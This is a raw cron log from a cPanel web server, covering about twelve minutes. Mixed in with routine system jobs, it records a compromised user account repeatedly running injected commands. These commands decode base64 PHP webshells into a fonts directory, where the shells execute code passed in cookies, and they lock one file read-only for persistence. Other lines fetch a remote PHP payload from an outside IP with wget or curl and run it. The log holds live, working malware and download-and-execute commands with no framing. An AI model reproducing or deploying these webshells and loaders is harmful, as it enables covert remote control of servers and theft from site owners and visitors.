Sep 11 02:44:02 ip-184-168-122-23 CROND[17356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:45:01 ip-184-168-122-23 CROND[17441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:45:01 ip-184-168-122-23 CROND[17444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:45:01 ip-184-168-122-23 CROND[17445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:45:01 ip-184-168-122-23 CROND[17443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:45:01 ip-184-168-122-23 CROND[17446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:45:01 ip-184-168-122-23 CROND[17447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:46:01 ip-184-168-122-23 CROND[17544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:46:01 ip-184-168-122-23 CROND[17550]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:46:01 ip-184-168-122-23 CROND[17547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:46:01 ip-184-168-122-23 CROND[17549]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 02:46:01 ip-184-168-122-23 CROND[17546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:46:01 ip-184-168-122-23 CROND[17548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:46:01 ip-184-168-122-23 CROND[17551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:47:01 ip-184-168-122-23 CROND[17705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:47:01 ip-184-168-122-23 CROND[17707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:47:01 ip-184-168-122-23 CROND[17706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:47:01 ip-184-168-122-23 CROND[17708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:48:01 ip-184-168-122-23 CROND[17816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:48:01 ip-184-168-122-23 CROND[17818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:48:01 ip-184-168-122-23 CROND[17819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:48:01 ip-184-168-122-23 CROND[17820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:48:01 ip-184-168-122-23 CROND[17821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:49:01 ip-184-168-122-23 CROND[17898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:49:01 ip-184-168-122-23 CROND[17900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:49:01 ip-184-168-122-23 CROND[17901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:49:01 ip-184-168-122-23 CROND[17902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:50:01 ip-184-168-122-23 CROND[18073]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:50:01 ip-184-168-122-23 CROND[18074]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:50:01 ip-184-168-122-23 CROND[18078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:50:01 ip-184-168-122-23 CROND[18080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:50:01 ip-184-168-122-23 CROND[18081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:50:02 ip-184-168-122-23 CROND[18086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:50:02 ip-184-168-122-23 CROND[18084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:50:02 ip-184-168-122-23 CROND[18089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:50:02 ip-184-168-122-23 CROND[18090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:51:01 ip-184-168-122-23 CROND[18182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:51:01 ip-184-168-122-23 CROND[18184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:51:01 ip-184-168-122-23 CROND[18185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:51:01 ip-184-168-122-23 CROND[18187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:52:02 ip-184-168-122-23 CROND[18278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:52:02 ip-184-168-122-23 CROND[18277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:52:02 ip-184-168-122-23 CROND[18281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:52:02 ip-184-168-122-23 CROND[18280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:52:02 ip-184-168-122-23 CROND[18284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:53:01 ip-184-168-122-23 CROND[18358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:53:01 ip-184-168-122-23 CROND[18360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:53:01 ip-184-168-122-23 CROND[18361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:53:01 ip-184-168-122-23 CROND[18362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:54:01 ip-184-168-122-23 CROND[18468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:54:01 ip-184-168-122-23 CROND[18470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:54:01 ip-184-168-122-23 CROND[18472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:54:01 ip-184-168-122-23 CROND[18473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:54:01 ip-184-168-122-23 CROND[18471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:55:01 ip-184-168-122-23 CROND[18554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:55:01 ip-184-168-122-23 CROND[18556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:55:01 ip-184-168-122-23 CROND[18557]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:55:01 ip-184-168-122-23 CROND[18562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:55:01 ip-184-168-122-23 CROND[18560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:55:01 ip-184-168-122-23 CROND[18561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:56:01 ip-184-168-122-23 CROND[18734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:56:01 ip-184-168-122-23 CROND[18736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:56:01 ip-184-168-122-23 CROND[18735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
